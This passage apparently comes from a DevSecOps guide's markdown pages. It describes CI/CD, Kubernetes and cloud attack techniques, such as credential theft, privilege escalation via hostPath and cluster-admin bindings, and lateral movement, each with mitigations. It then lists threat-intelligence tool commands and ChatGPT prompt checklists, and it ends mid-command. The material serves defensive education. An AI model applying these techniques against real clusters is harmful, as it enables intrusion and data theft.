deletion\n\n![](../../../assets/images/res-del.drawio.png)\n\n\nResource deletion is a technique used by attackers who have gained access to CI/CD resources to cause denial of service by permanently deleting critical resources, such as cloud resources or repositories. By deleting these resources, the attacker disrupts the organization's operations and prevents normal functioning of the CI/CD environment.\n\n\n\n\n\n\n\n\n\n\n### Exfiltration\n\nThe exfiltration tactic involves various techniques used by attackers to extract sensitive data from a victim's environment in a CI/CD context. These techniques aim to bypass security controls and transfer data outside the organization's network or infrastructure.\n\n\n\n\n#### Clone private repositories\n\n![](../../../assets/images/ex-pro.drawio.png)\n\n\nIn this scenario, the attacker leverages their access to the CI pipelines to clone private repositories, giving them access to sensitive code and potentially valuable intellectual property. They exploit the permissions and tokens available within the CI environment, such as GITHUB_TOKEN in GitHub, to clone private repositories.\n\n\n\n\n##### Pipeline logs\n\n![](../../../assets/images/ex-pip.drawio.png)\n\n\n\nIn this scenario, the attacker exploits their access to the CI/CD pipelines to access and view the pipeline execution logs. These logs often contain valuable information about the build process, deployment details, and potentially sensitive data such as credentials to services and user accounts.\n\n\n\n\n##### Exfiltrate data from production resources\n\n![](../../../assets/images/ex-res.drawio.png)\n\n\nIn this scenario, the attacker exploits their access to the CI/CD pipelines, which also have access to production resources. This allows the attacker to exfiltrate sensitive data from the production environment using the pipeline as a means of transportation.\n\n\n\n## Kubernetes Threat Matrix\n\n\nThe Threat Matrix highlights various attack techniques, including both known and hypothetical scenarios, that could be exploited by adversaries targeting Kubernetes environments. It categorizes these techniques into different stages of the attack lifecycle, such as initial access, privilege escalation, lateral movement, persistence, and exfiltration.\n\n\n\n\n\n### Initial access\n\nAs organizations embrace containerized environments like Kubernetes, it becomes essential to understand the potential vulnerabilities and attack vectors that adversaries may exploit. The initial access tactic poses a significant threat, serving as the entry point for unauthorized actors into Kubernetes clusters. In this article, we will explore some common techniques used to gain initial access and discuss proactive measures to secure your Kubernetes environment.\n\n\n\n#### Using cloud credentials\n\n\nIn cloud-based Kubernetes deployments, compromised cloud credentials can spell disaster. Attackers who gain access to cloud account credentials can infiltrate the cluster's management layer, potentially leading to complete cluster takeover. It is crucial to implement robust cloud security practices, such as strong access controls and multi-factor authentication, to safeguard against unauthorized access to cloud credentials.\n\n\n\n#### Compromised images in registry\n\n\n\nRunning compromised container images within a cluster can introduce significant risks. Attackers with access to a private registry can inject their own compromised images, which can then be inadvertently pulled by users. Additionally, using untrusted images from public registries without proper validation can expose the cluster to malicious content. Employing image scanning and verifying the trustworthiness of container images can help mitigate this risk.\n\n\n\n\n#### Kubeconfig file\n\n\n\nThe kubeconfig file, which contains cluster details and credentials, is used by Kubernetes clients like kubectl. If an attacker gains access to this file, they can exploit it to gain unauthorized access to the Kubernetes clusters. Securing the kubeconfig file through secure distribution channels, enforcing access controls, and employing secure client environments are essential steps to mitigate this risk.\n\n\n\n\n#### Vulnerable application\n\n\n\nRunning a vulnerable application within a cluster can open the door to initial access. Exploiting remote code execution vulnerabilities in containers can allow attackers to execute arbitrary code. If a service account is mounted to the compromised container, the attacker can use its credentials to send requests to the Kubernetes API server. Regularly patching and updating container images, along with implementing strong network segmentation, are crucial to mitigating this risk.\n\n\n\n\n\n#### Exposed dashboard\n\n\n\nThe Kubernetes dashboard, when exposed externally without proper authentication and access controls, becomes a potential entry point for unauthorized access. Attackers can exploit an exposed dashboard to gain remote management capabilities over the cluster. It is essential to restrict access to the dashboard, enable authentication, and ensure it is accessible only through secure connections.\n\n\n\n\n### Execution\n\nOnce attackers gain initial access to a Kubernetes cluster, the execution tactic becomes their next focus. By leveraging various techniques, attackers attempt to run their malicious code within the cluster, potentially causing widespread damage. In this article, we will explore common execution techniques in Kubernetes and discuss key strategies to mitigate the associated risks.\n\n\n\n\n#### Exec into container:\n\n\n\nAttackers with sufficient permissions can exploit the \"exec\" command (\"kubectl exec\") to run malicious commands inside containers within the cluster. By using legitimate images, such as popular OS images, as a backdoor container, attackers can remotely execute their malicious code through \"kubectl exec.\" Limiting permissions and enforcing strict access controls will help prevent unauthorized execution within containers.\n\n\n\n#### New container:\n\n\n\n\nAttackers with permissions to deploy pods or controllers, like DaemonSets, ReplicaSets, or Deployments, may attempt to create new resources within the cluster for running their code. It is crucial to regularly audit and review access controls, ensuring that only authorized entities can create and deploy containers. Monitoring the creation of new resources and implementing least privilege principles will limit unauthorized code execution.\n\n\n\n\n\n#### Application exploit:\n\n\n\n\nExploiting vulnerabilities in applications deployed within the cluster presents an opportunity for attackers to execute their code. Vulnerabilities that allow remote code execution or enable unauthorized access to resources can be leveraged. Mounting service accounts to containers, which is the default behavior in Kubernetes, may grant attackers the ability to send requests to the API server using compromised service account credentials. Regular patching and vulnerability management are crucial to mitigating this risk.\n\n\n\n\n\n#### SSH server running inside container:\n\n\n\n\nIn some cases, attackers may discover containers running SSH servers. If attackers acquire valid credentials, either through brute-force attempts or phishing, they can exploit these SSH servers to gain remote access to the container. To mitigate this risk, it is essential to employ strong authentication mechanisms, enforce secure credential management practices, and regularly audit containers for unauthorized SSH servers.\n\n\n\n\n\n### Persistence\n\nIn the context of Kubernetes security, persistence refers to the techniques employed by attackers to maintain access to a cluster even after their initial entry point has been compromised. By understanding and addressing the persistence tactics used by adversaries, organizations can strengthen their security posture and protect their Kubernetes environments. In this article, we will explore common persistence techniques in Kubernetes and discuss strategies to mitigate these risks.\n\n\n\n\n\n#### Backdoor container:\n\n\n\n\nOne method attackers employ to establish persistence is by running malicious code within a container in the cluster. By leveraging Kubernetes controllers like DaemonSets or Deployments, attackers can ensure that a specific number of containers constantly run on one or more nodes in the cluster. To counter this, regular monitoring of controller configurations and thorough auditing of container images can help detect and remove unauthorized backdoor containers.\n\n\n\n\n\n#### Writable hostPath mount:\n\n\n\n\n\nThe hostPath volume allows mounting a directory or file from the host to a container. Attackers with permissions to create containers within the cluster can exploit this feature by creating a container with a writable hostPath volume. This provides them with persistence on the underlying host and potential avenues for unauthorized access. Implementing strict access controls and regular auditing of container configurations can help identify and mitigate this risk.\n\n\n\n\n\n\n#### Kubernetes CronJob:\n\n\n\n\n\nKubernetes CronJob is a scheduling mechanism used to run Jobs at specified intervals. Attackers may leverage Kubernetes CronJob functionality to schedule the execution of malicious code as a container within the cluster. This allows them to maintain persistence by regularly running their code. Monitoring and reviewing CronJob configurations, as well as conducting periodic vulnerability scans, are crucial in identifying and addressing any unauthorized or suspicious CronJobs.\n\n\n\n\n\n### Privilege escalation\n\n\nPrivilege escalation is a critical tactic employed by attackers to gain higher privileges within a Kubernetes environment. By obtaining elevated access, attackers can potentially compromise the entire cluster, breach cloud resources, and disrupt critical operations. Understanding common privilege escalation techniques is crucial for implementing effective security measures. In this article, we will explore common privilege escalation techniques in Kubernetes and discuss strategies to mitigate these risks.\n\n\n\n\n\n\n#### Privileged container\n\n\nA privileged container possesses all the capabilities of the host machine, allowing unrestricted actions within the cluster. Attackers who gain access to a privileged container, or have permissions to create one, can exploit the host's resources. It is essential to enforce strict container security policies, limit the creation of privileged containers, and regularly monitor for unauthorized access or configuration changes.\n\n\n\n\n\n\n#### Cluster-admin binding\n\n\nRole-based access control (RBAC) is a fundamental security feature in Kubernetes, controlling the actions of different identities within the cluster. Cluster-admin is a built-in high-privileged role in Kubernetes. Attackers with permissions to create bindings and cluster-bindings can create a binding to the cluster-admin ClusterRole or other high-privileged roles. Implementing least privilege principles, regularly reviewing RBAC configurations, and conducting frequent audits are vital for preventing unauthorized privilege escalation.\n\n\n\n\n#### hostPath mount\n\n\nAttackers can leverage the hostPath volume mount to gain access to the underlying host, breaking out of the container's isolated environment. This allows them to escalate privileges from the container to the host. Implementing strict access controls, conducting regular vulnerability scans, and monitoring for suspicious hostPath mount configurations are essential for mitigating this risk.\n\n\n\n\n\n#### Accessing cloud resources:\n\n\n\nIn cloud-based Kubernetes deployments, attackers may leverage their access to a single container to gain unauthorized access to other cloud resources outside the cluster. For instance, in Azure Kubernetes Service (AKS), each node contains a service principal credential used for managing Azure resources. Attackers who gain access to this credential file can exploit it to access or modify cloud resources. Strictly managing access to service principal credentials, encrypting sensitive files, and regularly rotating credentials are critical mitigation steps.\n\n\n\n\n\n\n\n### Defense evasion\n\n\nDefense evasion techniques are employed by attackers to evade detection and conceal their activities within Kubernetes environments. By actively evading security measures, attackers can prolong their presence, increase the likelihood of successful attacks, and bypass traditional security controls. Understanding common defense evasion techniques is crucial for organizations to enhance threat detection capabilities and bolster overall Kubernetes security. In this article, we will explore common defense evasion tactics and discuss strategies to mitigate these risks effectively.\n\n\n\n\n#### Clear container logs:\n\n\nAttackers may attempt to delete application or operating system logs on compromised containers to conceal their malicious activities. Organizations should implement robust log management practices, including centralizing logs and establishing secure backup mechanisms. Regularly monitoring log files for suspicious activities and implementing access controls to prevent unauthorized log modifications are vital to maintain visibility into container activities.\n\n\n\n\n#### Delete Kubernetes events:\n\n\nKubernetes events play a critical role in logging state changes and failures within the cluster. Attackers may seek to delete Kubernetes events to avoid detection of their activities. Organizations should ensure proper event logging and implement log integrity checks to detect any tampering or deletion of events. Retaining logs in a secure and immutable manner can aid in the identification of anomalous behavior.\n\n\n\n\n\n#### Pod/container name similarity:\n\nAttackers may attempt to hide their malicious activities by naming their backdoor pods in a way that resembles legitimate pods created by controllers like Deployments or DaemonSets. By blending in with existing pod naming conventions, attackers aim to avoid suspicion. Organizations should implement strict naming conventions and conduct regular audits to identify any discrepancies or suspicious pod/container names.\n\n\n\n\n\n#### Connect from proxy server\n\n\nTo obfuscate their origin IP addresses, attackers may employ proxy servers, including anonymous networks like TOR, to communicate with applications or the Kubernetes API server. Organizations should consider implementing network security measures to monitor and restrict access from suspicious IP ranges or anonymous networks. Implementing intrusion detection and prevention systems (IDPS) and conducting regular threat intelligence analysis can aid in identifying proxy server usage by attackers.\n\n\n\n\n\n\n\n\n### Credential access\n\n\nThe security of credentials is of paramount importance in Kubernetes environments. Attackers employ various techniques to steal credentials, including application credentials, service accounts, secrets, and cloud credentials. Safeguarding credential access is crucial to prevent unauthorized access, data breaches, and potential compromise of sensitive information. In this article, we will explore common credential access tactics and discuss strategies to enhance identity protection and mitigate the risks associated with credential theft in Kubernetes.\n\n\n\n\n\n#### List Kubernetes secrets:\n\n\nKubernetes secrets are used to store sensitive information, such as passwords and connection strings, within the cluster. Attackers with appropriate permissions can retrieve these secrets from the API server, potentially gaining access to critical credentials. Organizations should adopt a defense-in-depth approach to secure secrets, including strong access controls, encryption, and regular auditing of secret configurations. Implementing fine-grained RBAC policies and limiting access to secrets based on the principle of least privilege can help mitigate the risk of unauthorized access.\n\n\n\n\n\n#### Mount service principal:\n\n\nIn cloud deployments, attackers may exploit their access to a container in the cluster to gain unauthorized access to cloud credentials. For example, in Azure Kubernetes Service (AKS), each node contains a service principal credential. Organizations should implement robust security measures, such as secure cluster configurations, strict access controls, and regular rotation of service principal credentials, to prevent unauthorized access to cloud resources.\n\n\n\n\n\n\n#### Access container service account:\n\n\nService accounts (SAs) are used to represent application identities within Kubernetes. By default, SAs are mounted to every pod in the cluster, allowing containers to interact with the Kubernetes API server. Attackers who gain access to a pod can extract the SA token and potentially perform actions within the cluster based on the SA's permissions. It is crucial to implement RBAC and enforce strong authentication mechanisms to mitigate the risk of unauthorized SA access. Regular audits and monitoring of SA permissions can help identify and remediate any potential security gaps.\n\n\n\n\n#### Application credentials in configuration files:\n\n\nDevelopers often store secrets, such as application credentials, in Kubernetes configuration files, including environment variables in the pod configuration. Attackers may attempt to access these configuration files to steal sensitive information. Organizations should promote secure coding practices, such as externalizing secrets to a secure secret management solution, and avoid storing credentials directly in configuration files. Implementing secure coding guidelines, regular security training for developers, and automated vulnerability scanning can help reduce the risk of unauthorized access to application credentials.\n\n\n\n\n\n\n\n### Discovery\n\nDiscovery attacks pose a significant threat to the security of Kubernetes environments. Attackers employ various techniques to explore the environment, gain insights into the cluster's resources, and perform lateral movement to access additional targets. Understanding and mitigating these discovery tactics is crucial to bolster the overall security posture of Kubernetes deployments. In this article, we will delve into common discovery techniques and discuss strategies to enhance defense and thwart unauthorized exploration in Kubernetes.\n\n\n\n\n\n\n#### Access the Kubernetes API server:\n\n\nThe Kubernetes API server acts as the gateway to the cluster, enabling interactions and resource management. Attackers may attempt to access the API server to gather information about containers, secrets, and other resources. Protecting the API server is paramount, and organizations should implement strong authentication mechanisms, robust access controls, and secure communication channels (TLS) to prevent unauthorized access and unauthorized retrieval of sensitive data.\n\n\n\n\n\n\n#### Access Kubelet API:\n\n\nKubelet, running on each node, manages the execution of pods and exposes a read-only API service. Attackers with network access to the host can probe the Kubelet API to gather information about running pods and the node itself. To mitigate this risk, organizations should implement network segmentation and restrict network access to the Kubelet API, employing firewalls or network policies to allow communication only from trusted sources.\n\n\n\n\n\n\n\n#### Network mapping:\n\n\nAttackers may attempt to map the cluster network to gain insights into running applications and identify potential vulnerabilities. Implementing network segmentation, network policies, and utilizing network security solutions can help limit unauthorized network exploration within the cluster, reducing the attack surface and minimizing the impact of network mapping attempts.\n\n\n\n\n\n#### Access Kubernetes dashboard:\n\n\nThe Kubernetes dashboard provides a web-based interface for managing and monitoring the cluster. Attackers who gain access to a container in the cluster may attempt to exploit the container's network access to access the dashboard pod. Organizations should secure the Kubernetes dashboard by implementing strong authentication, role-based access controls (RBAC), and secure network access policies to prevent unauthorized access and information leakage.\n\n\n\n\n#### Instance Metadata API:\n\n\nCloud providers offer instance metadata services that provide information about virtual machine configurations and network details. Attackers who compromise a container may attempt to query the instance metadata API to gain insights into the underlying node. Protecting the metadata API is crucial, and organizations should implement network-level security controls, such as restricting access to the metadata service from within the VM only, to prevent unauthorized access and limit the exposure of sensitive information.\n\n\n\n\n\n\n\n\n\n### Lateral movement\n\n\nLateral movement attacks pose a significant threat in containerized environments, allowing attackers to traverse through a victim's environment, gain unauthorized access to various resources, and potentially escalate privileges. Understanding and mitigating lateral movement tactics is crucial for bolstering the security of Kubernetes deployments. In this article, we will explore common techniques used by attackers for lateral movement and discuss strategies to enhance defense and minimize the impact of these attacks in Kubernetes.\n\n\n\n\n\n\n\n#### Access the Kubernetes API server:\n\n\nThe Kubernetes API server acts as the gateway to the cluster, enabling interactions and resource management. Attackers may attempt to access the API server to gather information about containers, secrets, and other resources. Protecting the API server is paramount, and organizations should implement strong authentication mechanisms, robust access controls, and secure communication channels (TLS) to prevent unauthorized access and unauthorized retrieval of sensitive data.\n\n\n\n\n\n\n#### Access Cloud Resources:\n\n\nAttackers who compromise a container in the cluster may attempt to move laterally into the cloud environment itself. Organizations must implement strong access controls, employ least privilege principles, and regularly monitor cloud resources to detect and prevent unauthorized access attempts.\n\n\n\n\n\n\n\n\n#### Container Service Account:\n\n\nAttackers with access to a compromised container can leverage the mounted service account token to send requests to the Kubernetes API server and gain access to additional resources within the cluster. Securing container service accounts through RBAC and regularly rotating credentials can help mitigate the risk of lateral movement through compromised containers.\n\n\n\n\n\n\n#### Cluster Internal Networking:\n\n\nBy default, Kubernetes allows communication between pods within the cluster. Attackers who gain access to a single container can leverage this networking behavior to traverse the cluster and target additional resources. Implementing network segmentation, network policies, and regular network monitoring can restrict unauthorized lateral movement within the cluster.\n\n\n\n\n\n#### Application Credentials in Configuration Files:\n\n\nDevelopers often store sensitive credentials in Kubernetes configuration files, such as environment variables in pod configurations. Attackers who gain access to these credentials can use them to move laterally and access additional resources both inside and outside the cluster. Employing secure secrets management practices, such as encrypting configuration files and limiting access to sensitive information, can mitigate the risk of credential-based lateral movement.\n\n\n\n\n\n\n#### Writable Volume Mounts on the Host:\n\n\nAttackers may attempt to exploit writable volume mounts within a compromised container to gain access to the underlying host. Securing host-level access controls, implementing strong container isolation, and regularly patching and hardening the underlying host can help mitigate the risk of lateral movement from containers to the host.\n\n\n\n\n\n\n#### Access Kubernetes Dashboard:\n\n\nAttackers with access to the Kubernetes dashboard can manipulate cluster resources and execute code within containers using the built-in \"exec\" capability. Securing the Kubernetes dashboard through strong authentication, access controls, and monitoring for suspicious activities can minimize the risk of unauthorized lateral movement through the dashboard.\n\n\n\n\n\n\n\n\n#### Access Tiller Endpoint:\n\n\nTiller, the server-side component of Helm, may expose internal gRPC endpoints that do not require authentication. Attackers who can access a container connected to the Tiller service may exploit this vulnerability to perform unauthorized actions within the cluster. Organizations should consider migrating to Helm version 3, which removes the Tiller component and eliminates this specific risk.\n\n\n\n\n\n\n\n\n### Impact\n\n\nThe Impact tactic in Kubernetes refers to techniques employed by attackers to disrupt, abuse, or destroy the normal behavior of the environment. These attacks can lead to data loss, resource abuse, and denial of service, resulting in severe consequences for organizations. Protecting Kubernetes deployments from such impact attacks is crucial to ensure the availability, integrity, and confidentiality of resources. In this article, we will explore common impact techniques used by attackers and discuss strategies to mitigate their effects in Kubernetes environments.\n\n\n\n\n\n\n\n\n#### Data Destruction:\n\n\n\nAttackers may target Kubernetes deployments to destroy critical data and resources. This can involve deleting deployments, configurations, storage volumes, or compute resources. To mitigate the risk of data destruction, it is essential to implement robust backup and disaster recovery mechanisms. Regularly backing up critical data, verifying backup integrity, and employing proper access controls can help in minimizing the impact of data destruction attacks.\n\n\n\n\n\n\n\n#### Resource Hijacking:\n\n\n\nCompromised resources within a Kubernetes cluster can be abused by attackers for malicious activities such as digital currency mining. Attackers who gain access to containers or have the permissions to create new containers may exploit these resources for unauthorized tasks. Implementing strict pod security policies, monitoring resource utilization, and regularly auditing containers for unauthorized activities can help detect and prevent resource hijacking attempts.\n\n\n\n\n\n\n\n\n\n#### Denial of Service (DoS):\n\n\n\nAttackers may launch DoS attacks to disrupt the availability of Kubernetes services. This can involve targeting containers, nodes, or the API server. To mitigate the impact of DoS attacks, it is crucial to implement network-level security measures such as ingress and egress filtering, rate limiting, and traffic monitoring. Additionally, implementing resource quotas, configuring horizontal pod autoscaling, and monitoring resource utilization can help in maintaining service availability and mitigating the impact of DoS attacks.\n\n\n\n\n\n## Cloud Threat Matrix\n\nThe MITRE ATT&CK framework provides a comprehensive knowledge base of adversary tactics and techniques used in cyber attacks. \n\n### Initial Access:\n\n#### Cloud Account Phishing\n\nAn attacker attempts to gain unauthorized access to a cloud account through phishing techniques.\n\n#### Cloud Service Exploitation \n\nAttackers exploit vulnerabilities in cloud services to gain initial access.\n\n### Execution\n\n#### Remote Execution\n\nAttackers execute code or commands on a cloud system remotely.\n\n#### User Execution\n\nAttackers trick a user into executing malicious code or commands on a cloud system.\n\n\n### Persistence\n\n#### Persistence through Cloud Resource \n\nAccess: Attackers establish persistence by maintaining access to cloud resources or accounts.\n\n#### Persistence through Cloud Service\n\nAttackers use cloud services or features to establish persistence in the environment.\n\n\n### Privilege Escalation\n\n#### Access Cloud Service Permissions\n\nAttackers escalate their privileges by manipulating cloud service permissions.\n\n#### Container Escape\n\nAttackers escape containerization to gain higher privileges in the cloud environment.\n\n\n### Defense Evasion\n\n#### Clear Cloud Logs\n\nAttackers attempt to delete or manipulate logs in the cloud environment to evade detection.\n\n#### Modify Cloud Trail\n\nAttackers modify or tamper with cloud trail logs to hide their activities.\n\n\n### Credential Access\n\n#### Steal Cloud Service Credentials \n\nAttackers steal cloud service credentials to gain unauthorized access.\n\n#### Capture Cloud Service Credentials\n\nAttackers capture cloud service credentials through various means.\n\n\n### Discovery\n\n#### Cloud Service Discovery\n\nAttackers discover cloud services and resources to gather information about the environment.\n\n#### Container Discovery \n\nAttackers identify and explore containers within the cloud environment.\n\n\n### Lateral Movement\n\n#### Cloud Infrastructure Lateral Movement\n\nAttackers move laterally between cloud resources and accounts.\n\n#### Container-to-Container Lateral Movement\n\nAttackers move laterally between containers within the cloud environment.\n\n### Collection\n\n#### Data from Cloud Storage Object\n\nAttackers collect and exfiltrate data from cloud storage objects.\n\n#### Data from Container\n\nAttackers collect and exfiltrate data from containers in the cloud environment.\n\n### Exfiltration:\n\n#### Exfiltration Over Cloud Channel\n\nAttackers exfiltrate data through cloud-based communication channels.\n\n#### Exfiltration Over Other Network Medium\n\nAttackers exfiltrate data using other network mediums within the cloud environment.\n\n\n\n\n## Threat Hunting\n\n\n## Shodan\n\nA search engine for internet-connected devices that allows you to identify potential attack surfaces and vulnerabilities in your network.\t\n\n\n```\nshodan scan submit --filename scan.json \"port:22\"\n```\n\n## VirusTotal\n\nA threat intelligence platform that allows you to analyze files and URLs for potential threats and malware.\t\n\n```\ncurl --request POST --url 'https://www.virustotal.com/api/v3/urls' --header 'x-apikey: YOUR_API_KEY' --header 'content-type: application/json' --data '{\"url\": \"https://example.com\"}'\n```\n\n## ThreatConnect\n\nA threat intelligence platform that allows you to collect, analyze, and share threat intelligence with your team and community.\t\n\n```\ncurl -H \"Content-Type: application/json\" -X POST -d '{\"name\": \"Example Threat Intel\", \"description\": \"This is an example threat intelligence report.\"}' https://api.threatconnect.com/api/v2/intelligence\n```\n\n## MISP\n\nAn open-source threat intelligence platform that allows you to collect, store, and share threat intelligence with your team and community.\t\n\n```\ncurl -X POST 'http://misp.local/events/restSearch' -H 'Authorization: YOUR_API_KEY' -H 'Content-Type: application/json' -d '{ \"returnFormat\": \"json\", \"eventid\": [1,2,3], \"enforceWarninglist\":0 }'\n```\n\n\n## ChatGPT\n\n### Generate Yara Rule\n\n- [ ] Specify the objective of the YARA rule. For this example, let's create a rule to detect a specific type of malware based on its behavior.\n\nPrompt: \"Please provide a brief description of the malware behavior you want to detect.\"\n\n\n- [ ] Identify indicators of the malware, such as file names, strings, or patterns that are characteristic of the malware. This information will be used in the YARA rule.\n\n\n\nPrompt: \"What are some specific indicators or patterns associated with the malware?\"\n\n\n\n- [ ] Start the YARA rule by defining metadata such as the rule name, description, and author. Add this information to the rule.yar file.\n\n\n\nPrompt: \"Please provide the rule name, description, and author for the YARA rule.\"\n\n\n\n- [ ] Define the condition or logic that will trigger the rule when a match is found. Use the indicators identified in Step 2 and YARA syntax to specify the condition.\n\n\n\nPrompt: \"Please provide the condition for the YARA rule using the indicators and YARA syntax.\"\n\n\n\n- [ ] Optionally, add tags to the YARA rule to provide additional information or categorization. Tags can be used to group related rules together.\n\nPrompt: \"If applicable, please add any relevant tags to the YARA rule.\"\n\n\n\n\n- [ ] Test the YARA rule against sample files or known malware to ensure it detects the intended behavior.\n\nPrompt: \"Please test the YARA rule against sample files or known malware to verify its effectiveness.\"\n\n\n\n- [ ] Refine the YARA rule based on the test results and iterate on the steps as necessary to improve its accuracy and coverage.\n\n\n\nPrompt: \"Based on the test results, do you need to refine or iterate on the YARA rule?\"\n\n\n\n\n\n### Code Analysis\n\n\n- [ ] Acquire a malware sample that you want to analyze. This can be a file, script, or any other form of malicious code.\n\nPrompt: \"Please provide the malware sample you want to analyze.\"\n\n\n\n- [ ] Create a secure and isolated environment to analyze the malware sample. This can be a virtual machine, sandbox, or container.\n\n\n\nPrompt: \"How would you like to set up the secure environment? (e.g., virtual machine, sandbox)\"\n\n\n\n\n- [ ] Install the necessary tools for malware analysis. This typically includes disassemblers, debuggers, and code analysis tools.\n\n\n\nPrompt: \"Please list the specific tools you would like to install for malware code analysis.\"\n\n\n\n\n- [ ] Extract the malware from its container or packaging and inspect its components, such as executable files, scripts, or configuration files.\n\n\n\nPrompt: \"Please extract the malware sample and provide a brief overview of its components.\"\n\n\n\n\n- [ ] Use a disassembler or decompiler tool to analyze the malware's code and convert it into a more readable format for analysis.\n\n\n\nPrompt: \"Which disassembler or decompiler tool would you like to use for the analysis?\"\n\n\n\n\n- [ ] Examine the code of the malware to identify its behavior, functions, and potential vulnerabilities. Look for any obfuscation techniques or anti-analysis measures used by the malware.\n\n\n\nPrompt: \"What specific aspects of the malware code would you like to analyze? (e.g., behavior, vulnerabilities)\"\n\n\n\n\n\n- [ ] If necessary, set up a debugger to trace the execution of the malware and understand its runtime behavior. This step may require advanced knowledge and specialized tools.\n\n\n\n\n\nPrompt: \"Do you want to debug and trace the execution of the malware? If yes, please specify the debugger tool.\"\n\n\n\n\n\n\n- [ ] Document your findings during the malware code analysis process, including identified behaviors, potential risks, and any other relevant information. Generate a report summarizing the analysis.\n\n\n\n\n\nPrompt: \"Please document your findings and generate a report summarizing the malware code analysis.\"\n\n\n\n\n\n- [ ] Based on the analysis, develop and apply security mitigations to protect against the malware's attack vectors. This may involve patching vulnerabilities, updating security measures, or implementing specific controls.\n\nPrompt: \"What security mitigations would you recommend based on the analysis?\"\n\n\n\n\n\n\n\n\n### Generate Script\n\n\n\n\n- [ ] Acquire a malware sample that you want to analyze. This can be a file, script, or any other form of malicious code.\n\nPrompt: \"Please provide the malware sample you want to analyze.\"\n\n\n\n\n\n- [ ] Extract the malware from its container or packaging and inspect its components, such as executable files, scripts, or configuration files.\n\n\n\nPrompt: \"Please extract the malware sample and provide a brief overview of its components.\"\n\n\n\n\n- [ ] Examine the code of the malware to identify its behavior, functions, and potential vulnerabilities. Look for any obfuscation techniques or anti-analysis measures used by the malware.\n\nPrompt: \"What specific aspects of the malware code would you like to analyze? (e.g., behavior, vulnerabilities)\"\n\n\n\n- [ ] If necessary, set up a debugger to trace the execution of the malware and understand its runtime behavior. This step may require advanced knowledge and specialized tools.\n\nPrompt: \"Do you want to debug and trace the execution of the malware? If yes, please specify the debugger tool.\"\n\n\n\n\n- [ ] Document your findings during the malware code analysis process, including identified behaviors, potential risks, and any other relevant information. Generate a report summarizing the analysis.\n\nPrompt: \"Please document your findings and generate a report summarizing the malware code analysis.\"\n\n\n\n- [ ] Based on the analysis, develop and apply security mitigations to protect against the malware's attack vectors. This may involve patching vulnerabilities, updating security measures, or implementing specific controls.\n\nPrompt: \"What security mitigations would you recommend based on the analysis?\"\n\n\n\n\n\n\n### Log Analysis\n\n\n- [ ] Preprocess the log files to extract the necessary information and make them more readable. Use tools like awk, sed, or grep to filter and format the log data. For example:\n\n\n```\n$ awk '{print $4, $7}' access.log > formatted_logs.txt\n```\n\n\n- [ ]  Start by exploring the log data to understand its structure and content. Use commands like head, tail, or cat to view the log files. For example:\n\n\n```\n$ head formatted_logs.txt\n```\n\nPrompt: \"Please provide a brief overview of the log data structure and format.\"\n\n\n\n\n- [ ] Perform statistical analysis on the log data to gain insights. Use tools like grep, sort, or uniq to extract useful information. For example:\n\n\n```\n$ grep '404' formatted_logs.txt | wc -l\n```\n\nPrompt: \"Can you provide the count of HTTP 404 errors in the log data?\"\n\n\n\n- [ ] Apply pattern matching techniques to identify specific events or anomalies. Use commands like grep or regular expressions to search for patterns. For example:\n\n\n```\n$ grep -E '(\\b\\d{3}\\b){4}' formatted_logs.txt\n```\n\nPrompt: \"Please identify any IP addresses in the log data.\"\n\n\n\n- [ ] Perform time-based analysis to identify trends or suspicious activities. Use commands like awk or date to manipulate timestamps. For example:\n\n\n```\n$ awk '{print $4, $7}' access.log > formatted_logs.txt\n```\n\nPrompt: \"Can you provide a distribution of log events based on the hour of the day?\"\n\n\n\n\n\n- [ ] Engage in an interactive investigation by asking questions or seeking specific information. Use prompts like:\n\n\n* \"Can you identify any failed login attempts in the log data?\"\n* \"Please provide the top 10 most accessed URLs in the log data.\"\n* \"Are there any user-agents associated with suspicious activities?\"\n\n\n\n- [ ] Create visualizations to present the findings. Use tools like matplotlib, gnuplot, or online visualization platforms. For example:\n\n\n```\nimport matplotlib.pyplot as plt\n\n# Code to generate a bar chart or line graph based on the log analysis results\n```\n\nPrompt: \"Can you create a bar chart showing the distribution of log events over time?\"\n\n\n\n\n\n## Databases\n\n* https://otx.alienvault.com/\n* https://exchange.xforce.ibmcloud.com/\n* https://github.com/certtools/intelmq-feeds-documentation\n* https://sca.analysiscenter.veracode.com/vulnerability-database/search#\n* https://vulmon.com\n* https://github.com/advisories\n\n\n## Playbook\n\n* https://gitlab.com/syntax-ir/playbooks\n\n\n## Log\n\n* https://github.com/logpai/loghub/tree/master\n\n\n## References\n\n* https://socradar.io\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/production/vulnerability-assessment.md",
    "content": "---\nlayout: default\ntitle: Vulnerability Assessment\nparent: Production\n---\n\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n# Vulnerability Assessment\n{: .no_toc }\n\n\nVulnerability assessment is the process of identifying and quantifying security vulnerabilities in an organization's IT systems, applications, and infrastructure. The goal of vulnerability assessment is to provide organizations with a comprehensive view of their security posture, allowing them to identify and prioritize security risks and take steps to remediate them.\n\nIn the context of DevSecOps, vulnerability assessment is a critical component of a comprehensive security strategy. By regularly scanning for vulnerabilities and identifying potential security risks, organizations can take proactive steps to secure their applications and infrastructure.\n\nSome of the key benefits of vulnerability assessment in DevSecOps include:\n\n1. Early detection of vulnerabilities: By regularly scanning for vulnerabilities, organizations can detect potential security risks early on, allowing them to take swift action to remediate them.\n\n2. Improved risk management: Vulnerability assessments provide organizations with a comprehensive view of their security posture, allowing them to identify and prioritize security risks and take steps to mitigate them.\n\n3. Compliance: Many regulatory requirements, such as PCI DSS and HIPAA, require regular vulnerability assessments as part of their compliance standards.\n\n4. Integration with other DevSecOps practices: Vulnerability assessment can be integrated with other DevSecOps practices, such as continuous integration and continuous deployment, to ensure that security is built into the application development lifecycle.\n\nThere are a variety of vulnerability assessment tools and technologies available that can be used in DevSecOps, including both commercial and open-source solutions. Some popular vulnerability assessment tools include Nessus, Qualys, and OpenVAS.\n\n\nBest practices for vulnerability assessment:\n\n1. Conduct regular vulnerability assessments to identify potential weaknesses and misconfigurations in your network and infrastructure.\n\n2. Use a combination of automated and manual vulnerability scanning techniques to ensure comprehensive coverage.\n\n3. Prioritize and remediate vulnerabilities based on their severity and potential impact on your organization.\n\n4. Regularly update and patch software and systems to address known vulnerabilities.\n\n5. Use segmentation and isolation to limit the spread of attacks in case of a successful breach.\n\n\n\n## Nessus\n\nA vulnerability scanner that allows you to identify vulnerabilities and misconfigurations in your network and infrastructure.\t\n\n\n```\nnessuscli scan new -n \"My Scan\" -t 